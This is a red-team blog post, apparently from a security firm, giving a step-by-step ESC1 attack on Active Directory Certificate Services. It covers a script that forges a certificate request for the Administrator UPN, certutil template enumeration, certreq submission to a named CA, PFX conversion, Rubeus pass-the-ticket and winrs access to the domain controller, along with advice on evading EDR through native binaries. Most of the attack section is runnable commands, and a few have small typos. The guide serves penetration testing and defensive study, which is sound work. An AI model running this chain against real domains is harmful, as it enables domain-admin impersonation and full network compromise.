Practical Guide to ADCS Attacks Using LOLBAS

In the previous BLOGS of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated how to approach them in a Linux environment.
In this bonus blog post, we’ll explore how attackers can abuse Living Off the Land Binaries and Scripts (LOLBAS), in this case, the certutil and certreq tool, to carry out ESC1 attacks. This type of attack is particularly relevant in internal testing scenarios, especially in white-box approaches and/or red-team assessments. Let’s dive into the details and walk through why and how this attack is executed, particularly in environments where attackers have limited privileges, such as regular user accounts.

In internal white-box testing and red team assessments, it’s essential to simulate realistic attack scenarios that assume an adversary has already breached an internal network (Assumed Breach Model). One critical aspect is assessing how an attacker can escalate privileges or persist in the network using native Windows tools. The certutil and certreq tools are native utilities that an attacker can use to enumerate, request, and retrieve certificates, potentially allowing them to impersonate other users or services without raising red flags.

This approach is precious in environments where third-party tools can’t be installed because of limited privileges (e.g., a regular user account) or stringent security controls. By utilizing native tools like certutil and certreq, we avoid detection by endpoint detection and response (EDR) systems that may flag or block the use of external or custom scripts.

In Windows-based environments, we often aim to exploit inherent weaknesses or misconfigurations that allow us to gain higher access levels. The certutil and certreq tools, legitimate Windows tools used to enumerate and request certificates from a certificate authority (CA), can be weaponized. A certificate obtained using this tool exploiting misconfigurations can be used to authenticate as a higher-privileged user or gain access to sensitive resources.

This blog assumes you’re familiar with Active Directory Certificate Services (ADCS) attacks and the ESC1 vulnerability. If not, I recommend reviewing our ADCS blog series before diving in.

Stop reading about ADCS attacks — start doing them. Our ready-to-deploy ADCS OVA lab gives you a fully configured environment with realistic ADCS misconfigurations to exploit. Download, import, and start hacking in minutes.

  • Widows Box – foothold: Access to a Windows machine on the corporate enviroment network
  • Domain User Credentials: Username and password (or other authentication tokens) of a legitimate user account member of the Active Directory domain, granting access to domain resources.

In this guide, we will:

  1. Generate a certificate request on a Linux-attacking machine using OpenSSL.
  2. Transfer the request to a Windows machine and use certreq to submit it.
  3. Retrieve and use the certificate to gain access to a target system.
nano script.sh

#Insert below script in the script.sh 

cnffile="admin.cnf"
reqfile="admin.req"
keyfile="admin.key"

dn="/DC=local/DC=shield/CN=Users/CN=Administrator"

cat > $cnffile <<EOF
[ req ]
default_bits = 2048
prompt = no
req_extensions = user
distinguished_name = dn

[ dn ]
CN = Administrator

[ user ]
subjectAltName = otherName:msUPN;UTF8:administrator@shield.local

EOF

openssl req -config $cnffile -subj $dn -new -nodes -sha256 -out $reqfile -keyout $keyfile
# 1. Make the script executable:

chmod+x script.sh

# 2. Run the script:

./script.sh
	
# 3. Verify the files:

ls

# 4. You should see the following output:

admin.cnf  admin.key  admin.req  test.sh
# Dump general information about the certificate store
certutil -dump

# Dump information about the local Certificate Authority (CA)
certutil -ca

# List all local certificate templates
certutil -catemplates

# List all certificate templates in verbose mode
certutil -v -template

# Dump detailed information about all certificate templates
certutil -v -dstemplate

# List all certificate templates that support client authentication (clientAuth)
certutil -v -template -clientauth

# Show detailed information about a specific template (ESC1)
certutil -template ESC1

# Dump detailed information about the ESC1 template
certutil -v -dstemplate ESC1
certreq -submit -config DC4.shield.local\shield-DC4-CA -attrib "CertificateTemplate:ESC1" admin.req admin.cer

Run the following command on your attacking machine to combine the certificate and private key. This creates a PEM-formatted certificate and key pair.

cat admin.key admin.cer > cert.pem

Next, convert the PEM file to a .pfx file using OpenSSL. We’ll be prompted to enter an export password, which will be required later to use the .pfx file for authentication.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0"-export -out cert.pfx

With the .pfx file in hand, you can now use tools like Certipy to authenticate as the user whose certificate you requested, or even we can use Rubeus to get a TGT using asktgt.

Before using the certificate, it must be converted into base64 format. While the .pfx file can be used directly, transferring the base64-encoded data is more convenient than transferring the .pfx file itself. Therefore, we will convert it into a base64 format compatible with Rubeus.

cat cert.pfx | base64 -w 0
.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-encode-Certificate> /nowrap /ptt 
winrs -r:DC4.shield.local cmd

Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.

  • Steal or Forge Authentication Certificates – T1649
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003
Share the Post:

Table of Contents

Subscribe To Our Blog

Light